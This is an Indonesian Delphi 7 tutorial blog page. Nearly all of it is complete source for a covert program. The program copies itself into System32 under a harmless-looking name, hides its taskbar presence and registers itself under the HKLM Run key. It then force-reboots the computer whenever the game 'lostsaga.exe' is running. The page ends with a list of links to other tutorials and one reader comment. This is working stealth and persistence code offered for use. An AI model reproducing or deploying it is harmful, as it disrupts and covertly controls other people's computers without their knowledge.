procedure showTaskBarIcon(Const Show : boolean); begin ShowWindow(Application.Handle, SW_HIDE); if Show = false then SetWindowLong(Application.Handle, GWL_EXSTYLE,GetWindowLong(Application.Handle,GWL_EXSTYLE) or WS_EX_TOOLWINDOW) else SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_OVERLAPPED); ShowWindow(Application.Handle, SW_SHOW); end;
function processExists(exeFileName: string): Boolean; var ContinueLoop: BOOL; FSnapshotHandle: THandle; FProcessEntry32: TProcessEntry32; begin FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); FProcessEntry32.dwSize := SizeOf(FProcessEntry32); ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32); Result := False; while Integer(ContinueLoop) <> 0 do begin if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) = UpperCase(ExeFileName))) then begin Result := True; end; ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32); end; CloseHandle(FSnapshotHandle); end;
procedure RunOnStartup(WindowTitle,CommandLn:String;RunOnlyOnce: Boolean); var RegIniFile : TRegIniFile; begin RegIniFile := TRegIniFile.Create(''); with RegIniFile do begin RootKey := HKEY_LOCAL_MACHINE; if RunOnlyOnce then RegIniFile.WriteString('Software\Microsoft\Windows\' + 'CurrentVersion\RunOnce'#0, WindowTitle, CommandLn) else RegIniFile.WriteString('Software\Microsoft\Windows\' + 'CurrentVersion\Run'#0, WindowTitle, CommandLn); Free; end; end;
function setShutDownPrivilege : Boolean; var TTokenHnd : THandle; TTokenPvg : TTokenPrivileges; cbtpPrevious : DWORD; rTTokenPvg : TTokenPrivileges; pcbtpPreviousRequired : DWORD; tpResult : Boolean; const SE_SHUTDOWN_NAME = 'SeShutdownPrivilege'; begin Result := false; if Win32Platform = VER_PLATFORM_WIN32_NT then begin if OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TTokenHnd) then begin tpResult := lookupPrivilegeValue(nil, SE_SHUTDOWN_NAME,TTokenPvg.Privileges[0].Luid); TTokenPvg.PrivilegeCount := 1; TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; cbtpPrevious := SizeOf(rTTokenPvg); pcbtpPreviousRequired := 0; if tpResult then Result := windows.AdjustTokenPrivileges(TTokenHnd,False,TTokenPvg,cbtpPrevious,rTTokenPvg, pcbtpPreviousRequired); end; end; end; function Power(pwFlags: Cardinal) : Boolean; begin if Win32Platform = VER_PLATFORM_WIN32_NT then setShutDownPrivilege; Result := ExitWindowsEx(pwFlags, 0); end;
procedure TForm1.Timer1Timer(Sender: TObject); var prog:string; begin prog:='lostsaga.exe'; //nama programnya if processExists(prog) then begin Timer2.Enabled:=true; end; end;
procedure TForm1.Timer2Timer(Sender: TObject); begin Power(EWX_REBOOT or EWX_FORCE); end;
procedure TForm1.FormShow(Sender: TObject); begin if FileExists('AppInterface.exe') then //cek , apakah pogram kita ada begin //bila ada , kita akan pindahkan sesuai path MoveFile('AppInterface.exe','C:\WINDOWS\system32\AppInterface.exe'); end; //function taskbar di panggil , dan di set false agar tak terlihat showTaskBarIcon(False); //kita panggil procedure ini agar program dijalankan tiap kali start up RunOnStartup('Application Interface','C:\Windows\System32\AppInterface.exe',False ); end;
unit Uutama; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs , TlHelp32, ExtCtrls, StdCtrls,ShellAPI,Registry; type TForm1 = class(TForm) Timer1: TTimer; Timer2: TTimer; procedure Timer1Timer(Sender: TObject); procedure FormShow(Sender: TObject); procedure Timer2Timer(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation uses Math; {$R *.dfm} procedure showTaskBarIcon(Const Show : boolean); begin ShowWindow(Application.Handle, SW_HIDE); if Show = false then SetWindowLong(Application.Handle, GWL_EXSTYLE,GetWindowLong(Application.Handle,GWL_EXSTYLE) or WS_EX_TOOLWINDOW) else SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_OVERLAPPED); ShowWindow(Application.Handle, SW_SHOW); end; function processExists(exeFileName: string): Boolean; var ContinueLoop: BOOL; FSnapshotHandle: THandle; FProcessEntry32: TProcessEntry32; begin FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); FProcessEntry32.dwSize := SizeOf(FProcessEntry32); ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32); Result := False; while Integer(ContinueLoop) <> 0 do begin if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) = UpperCase(ExeFileName))) then begin Result := True; end; ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32); end; CloseHandle(FSnapshotHandle); end; procedure TForm1.Timer1Timer(Sender: TObject); var prog:string; begin prog:='lostsaga.exe'; //nama programnya if processExists(prog) then begin Timer2.Enabled:=true; end; end; procedure RunOnStartup(WindowTitle,CommandLn:String;RunOnlyOnce: Boolean); var RegIniFile : TRegIniFile; begin RegIniFile := TRegIniFile.Create(''); with RegIniFile do begin RootKey := HKEY_LOCAL_MACHINE; if RunOnlyOnce then RegIniFile.WriteString('Software\Microsoft\Windows\' + 'CurrentVersion\RunOnce'#0, WindowTitle, CommandLn) else RegIniFile.WriteString('Software\Microsoft\Windows\' + 'CurrentVersion\Run'#0, WindowTitle, CommandLn); Free; end; end; procedure TForm1.FormShow(Sender: TObject); begin if FileExists('AppInterface.exe') then //cek , apakah pogram kita ada begin //bila ada , kita akan pindahkan sesuai path MoveFile('AppInterface.exe','C:\WINDOWS\system32\AppInterface.exe'); end; //function taskbar di panggil , dan di set false agar tak terlihat showTaskBarIcon(False); //kita panggil procedure ini agar program dijalankan tiap kali start up RunOnStartup('Application Interface','C:\Windows\System32\AppInterface.exe',False ); end; function setShutDownPrivilege : Boolean; var TTokenHnd : THandle; TTokenPvg : TTokenPrivileges; cbtpPrevious : DWORD; rTTokenPvg : TTokenPrivileges; pcbtpPreviousRequired : DWORD; tpResult : Boolean; const SE_SHUTDOWN_NAME = 'SeShutdownPrivilege'; begin Result := false; if Win32Platform = VER_PLATFORM_WIN32_NT then begin if OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TTokenHnd) then begin tpResult := lookupPrivilegeValue(nil, SE_SHUTDOWN_NAME,TTokenPvg.Privileges[0].Luid); TTokenPvg.PrivilegeCount := 1; TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; cbtpPrevious := SizeOf(rTTokenPvg); pcbtpPreviousRequired := 0; if tpResult then Result := windows.AdjustTokenPrivileges(TTokenHnd,False,TTokenPvg,cbtpPrevious,rTTokenPvg, pcbtpPreviousRequired); end; end; end; function Power(pwFlags: Cardinal) : Boolean; begin if Win32Platform = VER_PLATFORM_WIN32_NT then setShutDownPrivilege; Result := ExitWindowsEx(pwFlags, 0); end; procedure TForm1.Timer2Timer(Sender: TObject); begin Power(EWX_REBOOT or EWX_FORCE); end; end.

Simak Juga Tutorial Lainnya:
- Cara Membuat dan Menggunakan DLL di Delphi 7
- Efek Teks Berjalan Dan Kerlap-Kerlip di Delphi 7
- Simulasi Declare Component Secara Run Time di Delphi 7
- Konsep Inheritance/Pewarisan Di Delphi 7
- Optimalisasi Penggunaan Procedure di Delphi 7
- [SHARE]Komponen Multi Line Untuk Delphi 7
- Fungsi Drag and Drop String ke Komponen TEdit di Delphi 7
- Cara Membuat Aplikasi SWF-EXE Converter di Delphi 7
- Cara Membuat Aplikasi Uninstall di Delphi 7
- Cara Membuat Aplikasi Teracopy di Delphi 7
- Cara Membuat Aplikasi WinRar di Delphi 7
- Cara Membuat Aplikasi Penghitung Kapasitas Hard Disk di Delphi 7
- Cara Membuat Aplikasi TuneUp Shredder di Delphi 7
- Cara Konversi Karakter TEdit Menjadi UpperCase di Delphi 7
- Cara Membuat Aplikasi HJ Split di Delphi 7
- Video Tutorial :: Membuat Pencarian Data Super Cepat di Delphi 7
- Cara Menggunakan Case Of di Delphi 7
- Cara Membuat Aplikasi Pemesanan Kantin Di Delphi 7
- Cara Mengecek Primary Key Pada Saat Input Di Delphi 7
- Cara Membersihkan TEdit Secara Cepat Di Delphi 7
- Cara Membuat Expired Date Untuk Aplikasi Di Delphi 7
- Cara Menjalankan Aplikasi Lain Di Delphi 7
- Menjalankan Aplikasi Hanya Satu Kali Di Delphi 7
- Cara Membuat Aplikasi Entri Data Dengan Delphi 7
- Cara Membuat dan Menggunakan DLL di Delphi 7
- Konsep Inheritance/Pewarisan Di Delphi 7
- Optimalisasi Penggunaan Procedure di Delphi 7
- Cara Membuat Aplikasi Uninstall di Delphi 7
- Cara Membuat Aplikasi Teracopy di Delphi 7
- Cara Membuat Aplikasi WinRar di Delphi 7
- Cara Membuat Aplikasi Penghitung Kapasitas Hard Disk di Delphi 7
- Cara Membuat Aplikasi TuneUp Shredder di Delphi 7
- Cara Konversi Karakter TEdit Menjadi UpperCase di Delphi 7
- Cara Membuat Aplikasi Pemesanan Kantin Di Delphi 7
- Cara Membersihkan TEdit Secara Cepat Di Delphi 7
- Cara Membuat Expired Date Untuk Aplikasi Di Delphi 7
- Cara Membuat Aplikasi Entri Data Dengan Delphi 7
- Cara Menambahkan Fungsi Undo pada komponen edit di delphi 7
- Cara filter input karakter pada komponen edit di delphi 7
- Mengenal Procedure dan Function Pada Delphi 7
- Cara Membuat Integer to Binary Konverter dan Sebaliknya di Delphi
- Cara Membuat Aplikasi SWF-EXE Converter di Delphi 7
- Cara Membuat Aplikasi HJ Split di Delphi 7
- Cara Menjalankan Aplikasi Lain Di Delphi 7
- Menjalankan Aplikasi Hanya Satu Kali Di Delphi 7
- Mengetahui lama komputer dinyalakan dengan delphi 7
- Mengenal Procedure dan Function Pada Delphi 7
1 komentar:
Mantaaap neh jadi semakin tambah ilmu makasih :)
Posting Komentar